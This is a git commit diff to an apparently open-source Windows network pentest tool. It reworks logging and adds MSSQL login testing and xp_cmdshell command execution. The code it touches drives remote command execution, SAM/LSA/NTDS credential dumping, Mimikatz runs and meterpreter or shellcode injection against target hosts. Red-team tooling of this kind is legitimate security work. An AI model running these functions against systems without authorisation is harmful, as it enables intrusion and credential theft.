- Logging has been overhauled for readability and parsing (resolves #47)
- Added flag to test creds against MSSQL DBs (resolves #66) - Added flags to enable/disable xp_cmdshell on MSSQL DBs - Added flag to execute commands through xp_cmdshell on MSSQL DBs - - Targets are now accepted with arguments instead of a comma seperated list (resolves #71)main
parent
7aa67e388c
commit
58b6d0636d
|
@ -8,10 +8,11 @@ class EXECUTOR:
|
|||
|
||||
"""Yes, I know this sounds like the pokemon... deal with it"""
|
||||
|
||||
def __init__(self, command, host, domain, noOutput, smbconnection, method):
|
||||
def __init__(self, logger, command, host, domain, noOutput, smbconnection, method):
|
||||
|
||||
if method == 'wmi':
|
||||
wmi_exec = WMIEXEC(command,
|
||||
wmi_exec = WMIEXEC(logger,
|
||||
command,
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
domain,
|
||||
|
@ -23,7 +24,8 @@ class EXECUTOR:
|
|||
wmi_exec.run(host, smbconnection)
|
||||
|
||||
elif method == 'smbexec':
|
||||
smb_exec = SMBEXEC(command,
|
||||
smb_exec = SMBEXEC(logger,
|
||||
command,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
|
@ -37,7 +39,8 @@ class EXECUTOR:
|
|||
smb_exec.run(host)
|
||||
|
||||
elif method == 'atexec':
|
||||
atsvc_exec = TSCH_EXEC(command,
|
||||
atsvc_exec = TSCH_EXEC(logger,
|
||||
command,
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
domain,
|
||||
|
@ -45,4 +48,4 @@ class EXECUTOR:
|
|||
settings.args.aesKey,
|
||||
settings.args.kerb,
|
||||
noOutput)
|
||||
atsvc_exec.play(host)
|
||||
atsvc_exec.play(host)
|
||||
|
|
|
@ -1,5 +1,7 @@
|
|||
from logger import *
|
||||
from powershell import *
|
||||
from impacket import tds
|
||||
from scripts.mssqlclient import *
|
||||
from impacket.nmb import NetBIOSError
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
|
@ -23,12 +25,50 @@ import socket
|
|||
import settings
|
||||
import traceback
|
||||
import socket
|
||||
import logging
|
||||
|
||||
def connect(host):
|
||||
'''
|
||||
My imagination flowed free when coming up with this name
|
||||
This is where all the magic happens
|
||||
'''
|
||||
def mssql_greenlet(host, server_name, domain):
|
||||
|
||||
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
|
||||
'hostname': server_name,
|
||||
'port': settings.args.mssql_port,
|
||||
'service': 'MSSQL'})
|
||||
|
||||
try:
|
||||
ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger)
|
||||
ms_sql.connect()
|
||||
except socket.error as e:
|
||||
if settings.args.verbose: print_error(str(e))
|
||||
return
|
||||
|
||||
if settings.args.mssql_instance:
|
||||
instances = ms_sql.getInstances(5)
|
||||
if len(instances) == 0:
|
||||
cme_logger.info("No MSSQL Instances found")
|
||||
else:
|
||||
cme_logger.success("Enumerating MSSQL instances")
|
||||
for i, instance in enumerate(instances):
|
||||
cme_logger.results("Instance {}".format(i))
|
||||
for key in instance.keys():
|
||||
cme_logger.results(key + ":" + instance[key])
|
||||
|
||||
if settings.args.mssql is not None:
|
||||
ms_sql = smart_login(host, domain, ms_sql, cme_logger)
|
||||
sql_shell = SQLSHELL(ms_sql, cme_logger)
|
||||
|
||||
if settings.args.mssql != '':
|
||||
sql_shell.onecmd(settings.args.mssql)
|
||||
|
||||
if settings.args.enable_xpcmdshell:
|
||||
sql_shell.onecmd('enable_xp_cmdshell')
|
||||
|
||||
if settings.args.disable_xpcmdshell:
|
||||
sql_shell.onecmd('disable_xp_cmdshell')
|
||||
|
||||
if settings.args.xp_cmd:
|
||||
sql_shell.onecmd("xp_cmdshell {}".format(settings.args.xp_cmd))
|
||||
|
||||
def main_greenlet(host):
|
||||
|
||||
try:
|
||||
|
||||
|
@ -46,7 +86,16 @@ def connect(host):
|
|||
if not domain:
|
||||
domain = s_name
|
||||
|
||||
print_status(u"{}:{} is running {} (name:{}) (domain:{})".format(host, settings.args.port, smb.getServerOS(), s_name, domain))
|
||||
cme_logger = CMEAdapter(logging.getLogger('CME'), {'host': host,
|
||||
'hostname': s_name,
|
||||
'port': settings.args.port,
|
||||
'service': 'SMB'})
|
||||
|
||||
cme_logger.info("{} (name:{}) (domain:{})".format(smb.getServerOS(), s_name, domain))
|
||||
|
||||
if settings.args.mssql_instance or settings.args.mssql is not None:
|
||||
mssql_greenlet(host, s_name, domain)
|
||||
return
|
||||
|
||||
try:
|
||||
'''
|
||||
|
@ -62,12 +111,12 @@ def connect(host):
|
|||
|
||||
if (settings.args.user is not None and (settings.args.passwd is not None or settings.args.hash is not None)) or settings.args.combo_file:
|
||||
|
||||
smb = smart_login(host, smb, domain)
|
||||
smb = smart_login(host, domain, smb, cme_logger)
|
||||
#Get our IP from the socket
|
||||
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload:
|
||||
rfs = RemoteFileSystem(host, smb)
|
||||
rfs = RemoteFileSystem(host, smb, cme_logger)
|
||||
if settings.args.delete:
|
||||
rfs.delete()
|
||||
if settings.args.download:
|
||||
|
@ -78,11 +127,12 @@ def connect(host):
|
|||
rfs.list()
|
||||
|
||||
if settings.args.enum_shares:
|
||||
shares = SHAREDUMP(smb)
|
||||
shares = SHAREDUMP(smb, cme_logger)
|
||||
shares.dump(host)
|
||||
|
||||
if settings.args.enum_users:
|
||||
users = SAMRDump('{}/SMB'.format(settings.args.port),
|
||||
users = SAMRDump(cme_logger,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
domain,
|
||||
|
@ -92,8 +142,7 @@ def connect(host):
|
|||
users.dump(host)
|
||||
|
||||
if settings.args.sam or settings.args.lsa or settings.args.ntds:
|
||||
dumper = DumpSecrets(host,
|
||||
settings.args.port,
|
||||
dumper = DumpSecrets(cme_logger,
|
||||
'logs/{}'.format(host),
|
||||
smb,
|
||||
settings.args.kerb)
|
||||
|
@ -110,17 +159,19 @@ def connect(host):
|
|||
dumper.cleanup()
|
||||
|
||||
if settings.args.pass_pol:
|
||||
pass_pol = PassPolDump('{}/SMB'.format(settings.args.port),
|
||||
pass_pol = PassPolDump(cme_logger,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
domain,
|
||||
domain,
|
||||
settings.args.hash,
|
||||
settings.args.aesKey,
|
||||
settings.args.kerb)
|
||||
pass_pol.dump(host)
|
||||
|
||||
if settings.args.rid_brute:
|
||||
lookup = LSALookupSid(settings.args.user,
|
||||
lookup = LSALookupSid(cme_logger,
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
domain,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
|
@ -129,7 +180,8 @@ def connect(host):
|
|||
lookup.dump(host)
|
||||
|
||||
if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers:
|
||||
rpc_query = RPCQUERY(settings.args.user,
|
||||
rpc_query = RPCQUERY(cme_logger,
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
domain,
|
||||
settings.args.hash)
|
||||
|
@ -142,12 +194,13 @@ def connect(host):
|
|||
rpc_query.enum_lusers(host)
|
||||
|
||||
if settings.args.spider:
|
||||
smb_spider = SMBSPIDER(host, smb)
|
||||
smb_spider = SMBSPIDER(cme_logger, host, smb)
|
||||
smb_spider.spider(settings.args.spider, settings.args.depth)
|
||||
smb_spider.finish()
|
||||
|
||||
if settings.args.wmi_query:
|
||||
wmi_query = WMIQUERY(settings.args.user,
|
||||
wmi_query = WMIQUERY(cme_logger,
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
domain,
|
||||
settings.args.hash,
|
||||
|
@ -157,19 +210,19 @@ def connect(host):
|
|||
wmi_query.run(settings.args.wmi_query, host, settings.args.namespace)
|
||||
|
||||
if settings.args.check_uac:
|
||||
uac = UACdump(smb, settings.args.kerb)
|
||||
uac = UACdump(cme_logger, smb, settings.args.kerb)
|
||||
uac.run()
|
||||
|
||||
if settings.args.enable_wdigest:
|
||||
wdigest = WdisgestEnable(smb, settings.args.kerb)
|
||||
wdigest.enable()
|
||||
|
||||
if settings.args.disable_wdigest:
|
||||
wdigest = WdisgestEnable(smb, settings.args.kerb)
|
||||
wdigest.disable()
|
||||
if settings.args.enable_wdigest or settings.args.disable_wdigest:
|
||||
wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb)
|
||||
if settings.args.enable_wdigest:
|
||||
wdigest.enable()
|
||||
elif settings.args.disable_wdigest:
|
||||
wdigest.disable()
|
||||
|
||||
if settings.args.service:
|
||||
service_control = SVCCTL(settings.args.user,
|
||||
service_control = SVCCTL(cme_logger,
|
||||
settings.args.user,
|
||||
settings.args.passwd,
|
||||
domain,
|
||||
'{}/SMB'.format(settings.args.port),
|
||||
|
@ -178,39 +231,39 @@ def connect(host):
|
|||
service_control.run(host)
|
||||
|
||||
if settings.args.command:
|
||||
EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)
|
||||
EXECUTOR(cme_logger, settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm)
|
||||
|
||||
if settings.args.pscommand:
|
||||
EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)
|
||||
EXECUTOR(cme_logger, ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm)
|
||||
|
||||
if settings.args.mimikatz:
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)
|
||||
EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain, True, smb, settings.args.execm)
|
||||
|
||||
if settings.args.gpp_passwords:
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(powah_command.gpp_passwords(), host, domain, True, smb, settings.args.execm)
|
||||
EXECUTOR(cme_logger, powah_command.gpp_passwords(), host, domain, True, smb, settings.args.execm)
|
||||
|
||||
if settings.args.mimikatz_cmd:
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)
|
||||
EXECUTOR(cme_logger, powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm)
|
||||
|
||||
if settings.args.powerview:
|
||||
#For some reason powerview functions only seem to work when using smbexec...
|
||||
#I think we might have a mistery on our hands boys and girls!
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')
|
||||
EXECUTOR(cme_logger, powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec')
|
||||
|
||||
if settings.args.inject:
|
||||
powah_command = PowerShell(settings.args.server, local_ip)
|
||||
if settings.args.inject.startswith('met_'):
|
||||
EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)
|
||||
EXECUTOR(cme_logger, powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm)
|
||||
|
||||
if settings.args.inject == 'shellcode':
|
||||
EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)
|
||||
EXECUTOR(cme_logger, powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm)
|
||||
|
||||
if settings.args.inject == 'dll' or settings.args.inject == 'exe':
|
||||
EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
|
||||
EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm)
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
|
@ -20,6 +20,39 @@ def antiansi_emit(self, record):
|
|||
|
||||
logging.FileHandler.emit = antiansi_emit
|
||||
|
||||
class CMEAdapter(logging.LoggerAdapter):
|
||||
|
||||
def __init__(self, logger, extra, action=None):
|
||||
self.logger = logger
|
||||
self.extra = extra
|
||||
self.action = action
|
||||
|
||||
def process(self, msg, kwargs):
|
||||
return '{} {}:{} {} {}'.format(colored(self.extra['service'], 'blue', attrs=['bold']),
|
||||
self.extra['host'],
|
||||
self.extra['port'],
|
||||
self.extra['hostname'],
|
||||
msg), kwargs
|
||||
|
||||
def info(self, msg, *args, **kwargs):
|
||||
msg, kwargs = self.process(colored("[*] ", 'blue', attrs=['bold']) + msg, kwargs)
|
||||
self.logger.info(msg, *args, **kwargs)
|
||||
|
||||
def error(self, msg, *args, **kwargs):
|
||||
msg, kwargs = self.process(colored("[-] ", 'red', attrs=['bold']) + msg, kwargs)
|
||||
self.logger.info(msg, *args, **kwargs)
|
||||
|
||||
def success(self, msg, *args, **kwargs):
|
||||
msg, kwargs = self.process(colored("[+] ", 'green', attrs=['bold']) + msg, kwargs)
|
||||
self.logger.info(msg, *args, **kwargs)
|
||||
|
||||
def results(self, msg, *args, **kwargs):
|
||||
msg, kwargs = self.process(colored(msg, 'yellow', attrs=['bold']), kwargs)
|
||||
self.logger.info(msg, *args, **kwargs)
|
||||
|
||||
def logMessage(self, message):
|
||||
self.results(message)
|
||||
|
||||
def setup_logger(target, level=logging.INFO):
|
||||
|
||||
formatter = logging.Formatter("%(asctime)s %(message)s", datefmt="%m-%d-%Y %H:%M:%S")
|
||||
|
@ -36,32 +69,26 @@ def setup_logger(target, level=logging.INFO):
|
|||
root_logger.addHandler(fileHandler)
|
||||
root_logger.setLevel(level)
|
||||
|
||||
#A logger on crack? keeps getting better
|
||||
crack_logger = logging.getLogger('crack')
|
||||
crack_logger.propagate = False
|
||||
crack_logger.addHandler(streamHandler)
|
||||
crack_logger.addHandler(fileHandler)
|
||||
crack_logger.setLevel(level)
|
||||
cme_logger = logging.getLogger('CME')
|
||||
cme_logger.propagate = False
|
||||
cme_logger.addHandler(streamHandler)
|
||||
cme_logger.addHandler(fileHandler)
|
||||
cme_logger.setLevel(level)
|
||||
|
||||
def print_error(message):
|
||||
clog = logging.getLogger('crack')
|
||||
clog.info(colored("[-] ", 'red', attrs=['bold']) + message)
|
||||
print colored("[-] ", 'red', attrs=['bold']) + message
|
||||
|
||||
def print_status(message):
|
||||
clog = logging.getLogger('crack')
|
||||
clog.info(colored("[*] ", 'blue', attrs=['bold']) + message)
|
||||
def print_info(message):
|
||||
print colored("[*] ", 'blue', attrs=['bold']) + message
|
||||
|
||||
def print_succ(message):
|
||||
clog = logging.getLogger('crack')
|
||||
clog.info(colored("[+] ", 'green', attrs=['bold']) + message)
|
||||
def print_success(message):
|
||||
print colored("[+] ", 'green', attrs=['bold']) + message
|
||||
|
||||
def print_att(message):
|
||||
clog = logging.getLogger('crack')
|
||||
clog.info(colored(message, 'yellow', attrs=['bold']))
|
||||
def print_results(message):
|
||||
print colored(message, 'yellow', attrs=['bold'])
|
||||
|
||||
def print_message(message):
|
||||
clog = logging.getLogger('crack')
|
||||
clog.info(message)
|
||||
print message
|
||||
|
||||
def yellow(text):
|
||||
return colored(text, 'yellow', attrs=['bold'])
|
||||
|
@ -76,9 +103,5 @@ def red(text):
|
|||
return colored(text, 'red', attrs=['bold'])
|
||||
|
||||
def shutdown(exit_code):
|
||||
print_status("KTHXBYE")
|
||||
print_info('KTHXBYE!')
|
||||
sys.exit(int(exit_code))
|
||||
|
||||
def root_error():
|
||||
print colored("[-] ", 'red', attrs=['bold']) + "I needz r00t!"
|
||||
sys.exit(1)
|
||||
|
|
|
@ -2,7 +2,6 @@ import sys
|
|||
import logging
|
||||
import codecs
|
||||
|
||||
from core.logger import *
|
||||
from impacket import version
|
||||
from impacket.nt_errors import STATUS_MORE_ENTRIES
|
||||
from impacket.dcerpc.v5 import transport, samr
|
||||
|
@ -15,13 +14,14 @@ class PassPolDump:
|
|||
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
|
||||
}
|
||||
|
||||
def __init__(self, protocols = None,
|
||||
def __init__(self, logger, protocols = None,
|
||||
username = '', password = '', domain = '', hashes = None, aesKey=None, doKerberos = False):
|
||||
if not protocols:
|
||||
self.__protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
|
||||
else:
|
||||
self.__protocols = [protocols]
|
||||
|
||||
self.__logger = logger
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
|
@ -63,6 +63,7 @@ class PassPolDump:
|
|||
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
|
||||
domainHandle = resp['DomainHandle']
|
||||
|
||||
self.__logger.success('Dumping password policy')
|
||||
self.get_pass_pol(addr, rpctransport, dce, domainHandle)
|
||||
|
||||
def convert(self, low, high, no_zero):
|
||||
|
@ -108,8 +109,8 @@ class PassPolDump:
|
|||
|
||||
pass_hst_len = resp['Buffer']['Password']['PasswordHistoryLength']
|
||||
|
||||
print_att('Minimum password length: {}'.format(min_pass_len))
|
||||
print_att('Password history length: {}'.format(pass_hst_len))
|
||||
self.__logger.results('Minimum password length: {}'.format(min_pass_len))
|
||||
self.__logger.results('Password history length: {}'.format(pass_hst_len))
|
||||
|
||||
max_pass_age = self.convert(resp['Buffer']['Password']['MaxPasswordAge']['LowPart'],
|
||||
resp['Buffer']['Password']['MaxPasswordAge']['HighPart'],
|
||||
|
@ -119,16 +120,16 @@ class PassPolDump:
|
|||
resp['Buffer']['Password']['MinPasswordAge']['HighPart'],
|
||||
1)
|
||||
|
||||
print_att('Maximum password age: {}'.format(max_pass_age))
|
||||
print_att('Minimum password age: {}'.format(min_pass_age))
|
||||
self.__logger.results('Maximum password age: {}'.format(max_pass_age))
|
||||
self.__logger.results('Minimum password age: {}'.format(min_pass_age))
|
||||
|
||||
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
|
||||
|
||||
lock_threshold = int(resp['Buffer']['Lockout']['LockoutThreshold'])
|
||||
|
||||
print_att("Account lockout threshold: {}".format(lock_threshold))
|
||||
self.__logger.results("Account lockout threshold: {}".format(lock_threshold))
|
||||
|
||||
lock_duration = None
|
||||
if lock_threshold != 0: lock_duration = int(resp['Buffer']['Lockout']['LockoutDuration']) / -600000000
|
||||
|
||||
print_att("Account lockout duration: {}".format(lock_duration))
|
||||
self.__logger.results("Account lockout duration: {}".format(lock_duration))
|
|
@ -1,4 +1,3 @@
|
|||
from logger import *
|
||||
from time import strftime, localtime
|
||||
from impacket.smb3structs import FILE_READ_DATA, FILE_WRITE_DATA
|
||||
import settings
|
||||
|
@ -44,23 +43,24 @@ class RemoteFile:
|
|||
|
||||
class RemoteFileSystem:
|
||||
|
||||
def __init__(self, host, smbconnection):
|
||||
def __init__(self, host, smbconnection, logger):
|
||||
self.__host = host
|
||||
self.__smbconnection = smbconnection
|
||||
self.__logger = logger
|
||||
|
||||
def download(self):
|
||||
out = open(settings.args.download[1], 'wb')
|
||||
self.__smbconnection.getFile(settings.args.share, settings.args.download[0], out.write)
|
||||
print_succ("{}:{} Downloaded file".format(self.__host, settings.args.port))
|
||||
self.__logger.success("Downloaded file")
|
||||
|
||||
def upload(self):
|
||||
up = open(settings.args.upload[0] , 'rb')
|
||||
self.__smbconnection.putFile(settings.args.share, settings.args.upload[1], up.read)
|
||||
print_succ("{}:{} Uploaded file".format(self.__host, settings.args.port))
|
||||
self.__logger.success("Uploaded file")
|
||||
|
||||
def delete(self):
|
||||
self.__smbconnection.deleteFile(settings.args.share, settings.args.delete)
|
||||
print_succ("{}:{} Deleted file".format(self.__host, settings.args.port))
|
||||
self.__logger.success("Deleted file")
|
||||
|
||||
def list(self):
|
||||
if settings.args.list == '.':
|
||||
|
@ -75,9 +75,9 @@ class RemoteFileSystem:
|
|||
elif path != '*':
|
||||
path = settings.args.share + '/' + path[:-2]
|
||||
|
||||
print_succ("{}:{} Contents of {}:".format(self.__host, settings.args.port, path))
|
||||
self.__logger.success("Contents of {}:".format(path))
|
||||
for f in dir_list:
|
||||
print_att(u"{}rw-rw-rw- {:>7} {} {}".format('d' if f.is_directory() > 0 else '-',
|
||||
f.get_filesize(),
|
||||
strftime('%Y-%m-%d %H:%M', localtime(f.get_mtime_epoch())),
|
||||
f.get_longname()))
|
||||
self.__logger.results(u"{}rw-rw-rw- {:>7} {} {}".format('d' if f.is_directory() > 0 else '-',
|
||||
f.get_filesize(),
|
||||
strftime('%Y-%m-%d %H:%M', localtime(f.get_mtime_epoch())),
|
||||
f.get_longname()))
|
|
@ -1,11 +1,11 @@
|
|||
import logging
|
||||
from logger import *
|
||||
from impacket.dcerpc.v5 import transport, srvs, wkst
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
import settings
|
||||
|
||||
class RPCQUERY():
|
||||
def __init__(self, username, password, domain='', hashes=None):
|
||||
def __init__(self, logger, username, password, domain='', hashes=None):
|
||||
self.__logger = logger
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
|
@ -42,12 +42,12 @@ class RPCQUERY():
|
|||
resp = wkst.hNetrWkstaUserEnum(dce, 1)
|
||||
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
|
||||
|
||||
print_succ("{}:{} Logged on users:".format(host, settings.args.port))
|
||||
self.__logger.success("Enumerating logged on users")
|
||||
for user in lusers:
|
||||
print_att(u'{}\\{} {} {}'.format(user['wkui1_logon_domain'],
|
||||
user['wkui1_username'],
|
||||
user['wkui1_logon_server'],
|
||||
user['wkui1_oth_domains']))
|
||||
self.__logger.results(u'{}\\{} {} {}'.format(user['wkui1_logon_domain'],
|
||||
user['wkui1_username'],
|
||||
user['wkui1_logon_server'],
|
||||
user['wkui1_oth_domains']))
|
||||
|
||||
def enum_sessions(self, host):
|
||||
dce, rpctransport = self.connect(host, 'srvsvc')
|
||||
|
@ -60,19 +60,19 @@ class RPCQUERY():
|
|||
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
|
||||
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
|
||||
|
||||
print_succ("{}:{} Current active sessions:".format(host, settings.args.port))
|
||||
self.__logger.success("Enumerating active sessions")
|
||||
for session in sessions:
|
||||
if level == 502:
|
||||
if session['sesi502_cname'][:-1] != self.__local_ip:
|
||||
print_att('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
|
||||
session['sesi502_username'],
|
||||
session['sesi502_num_opens'],
|
||||
session['sesi502_time'],
|
||||
session['sesi502_idle_time']))
|
||||
self.__logger.results('\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
|
||||
session['sesi502_username'],
|
||||
session['sesi502_num_opens'],
|
||||
session['sesi502_time'],
|
||||
session['sesi502_idle_time']))
|
||||
|
||||
elif level == 0:
|
||||
if session['sesi0_cname'][:-1] != self.__local_ip:
|
||||
print_att('\\\\{}'.format(session['sesi0_cname']))
|
||||
self.__logger.results('\\\\{}'.format(session['sesi0_cname']))
|
||||
|
||||
def enum_disks(self, host):
|
||||
dce, rpctransport = self.connect(host, 'srvsvc')
|
||||
|
@ -81,8 +81,8 @@ class RPCQUERY():
|
|||
except Exception:
|
||||
resp = srvs.hNetrServerDiskEnum(dce, 0)
|
||||
|
||||
print_succ("{}:{} Available disks:".format(host, settings.args.port))
|
||||
self.__logger.success("Enumerating disks")
|
||||
for disk in resp['DiskInfoStruct']['Buffer']:
|
||||
for dname in disk.fields.keys():
|
||||
if disk[dname] != '\x00':
|
||||
print_att(disk[dname])
|
||||
self.__logger.results(disk[dname])
|
|
@ -21,7 +21,6 @@ import argparse
|
|||
import random
|
||||
import logging
|
||||
|
||||
from core.logger import *
|
||||
from gevent import sleep
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import tsch, transport
|
||||
|
@ -30,7 +29,8 @@ from StringIO import StringIO
|
|||
|
||||
|
||||
class TSCH_EXEC:
|
||||
def __init__(self, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False):
|
||||
def __init__(self, logger, command=None, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, noOutput=False):
|
||||
self.__logger = logger
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__domain = domain
|
||||
|
@ -65,7 +65,7 @@ class TSCH_EXEC:
|
|||
def output_callback(data):
|
||||
buf = StringIO(data.strip()).readlines()
|
||||
for line in buf:
|
||||
print_att(line.strip())
|
||||
self.__logger.results(line.strip())
|
||||
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
|
||||
|
@ -159,7 +159,7 @@ class TSCH_EXEC:
|
|||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||
|
||||
peer = ':'.join(map(str, rpctransport.get_socket().getpeername()))
|
||||
print_succ('{} Executed command via ATEXEC'.format(peer))
|
||||
self.__logger.success('Executed command via ATEXEC')
|
||||
|
||||
if self.__noOutput is False:
|
||||
smbConnection = rpctransport.get_smb_connection()
|
||||
|
|
|
@ -17,7 +17,6 @@ import sys
|
|||
import logging
|
||||
import codecs
|
||||
|
||||
from core.logger import *
|
||||
from impacket import version
|
||||
from impacket.dcerpc.v5 import transport, lsat, lsad
|
||||
from impacket.dcerpc.v5.samr import SID_NAME_USE
|
||||
|
@ -32,11 +31,12 @@ class LSALookupSid:
|
|||
'135/TCP': (r'ncacn_ip_tcp:%s', 135),
|
||||
}
|
||||
|
||||
def __init__(self, username, password, domain, protocols = None,
|
||||
def __init__(self, logger, username, password, domain, protocols = None,
|
||||
hashes = None, maxRid=4000):
|
||||
if not protocols:
|
||||
protocols = LSALookupSid.KNOWN_PROTOCOLS.keys()
|
||||
|
||||
self.__logger = logger
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
self.__protocols = [protocols]
|
||||
|
@ -66,7 +66,7 @@ class LSALookupSid:
|
|||
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
|
||||
|
||||
try:
|
||||
print_succ("{}:{} Dumping users (rid:domain:user):".format(addr, protocol[:-4]))
|
||||
self.__logger.success("Brute forcing SIDs (rid:domain:user)")
|
||||
self.__bruteForce(rpctransport, self.__maxRid)
|
||||
except Exception, e:
|
||||
#import traceback
|
||||
|
@ -124,7 +124,7 @@ class LSALookupSid:
|
|||
|
||||
for n, item in enumerate(resp['TranslatedNames']['Names']):
|
||||
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
|
||||
print_att("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name))
|
||||
self.__logger.results("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name))
|
||||
soFar += SIMULTANEOUS
|
||||
|
||||
dce.disconnect()
|
||||
|
|
|
@ -0,0 +1,122 @@
|
|||
#!/usr/bin/python
|
||||
# Copyright (c) 2003-2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description: [MS-TDS] & [MC-SQLR] example.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (beto@coresecurity.com/@agsolino)
|
||||
#
|
||||
# Reference for:
|
||||
# Structure
|
||||
#
|
||||
|
||||
import os
|
||||
import cmd
|
||||
from impacket import tds
|
||||
from impacket.tds import SQLErrorException, TDS_LOGINACK_TOKEN, TDS_ERROR_TOKEN, TDS_ENVCHANGE_TOKEN, TDS_INFO_TOKEN, \
|
||||
TDS_ENVCHANGE_VARCHAR, TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE
|
||||
|
||||
def printRepliesCME(self):
|
||||
for keys in self.replies.keys():
|
||||
for i, key in enumerate(self.replies[keys]):
|
||||
if key['TokenType'] == TDS_ERROR_TOKEN:
|
||||
error = "ERROR(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le'))
|
||||
self.lastError = SQLErrorException("ERROR: Line %d: %s" % (key['LineNumber'], key['MsgText'].decode('utf-16le')))
|
||||
self._MSSQL__rowsPrinter.error(error)
|
||||
|
||||
elif key['TokenType'] == TDS_INFO_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info("INFO(%s): Line %d: %s" % (key['ServerName'].decode('utf-16le'), key['LineNumber'], key['MsgText'].decode('utf-16le')))
|
||||
|
||||
elif key['TokenType'] == TDS_LOGINACK_TOKEN:
|
||||
self._MSSQL__rowsPrinter.info("ACK: Result: %s - %s (%d%d %d%d) " % (key['Interface'], key['ProgName'].decode('utf-16le'), key['MajorVer'], key['MinorVer'], key['BuildNumHi'], key['BuildNumLow']))
|
||||
|
||||
elif key['TokenType'] == TDS_ENVCHANGE_TOKEN:
|
||||
if key['Type'] in (TDS_ENVCHANGE_DATABASE, TDS_ENVCHANGE_LANGUAGE, TDS_ENVCHANGE_CHARSET, TDS_ENVCHANGE_PACKETSIZE):
|
||||
record = TDS_ENVCHANGE_VARCHAR(key['Data'])
|
||||
if record['OldValue'] == '':
|
||||
record['OldValue'] = 'None'.encode('utf-16le')
|
||||
elif record['NewValue'] == '':
|
||||
record['NewValue'] = 'None'.encode('utf-16le')
|
||||
if key['Type'] == TDS_ENVCHANGE_DATABASE:
|
||||
_type = 'DATABASE'
|
||||
elif key['Type'] == TDS_ENVCHANGE_LANGUAGE:
|
||||
_type = 'LANGUAGE'
|
||||
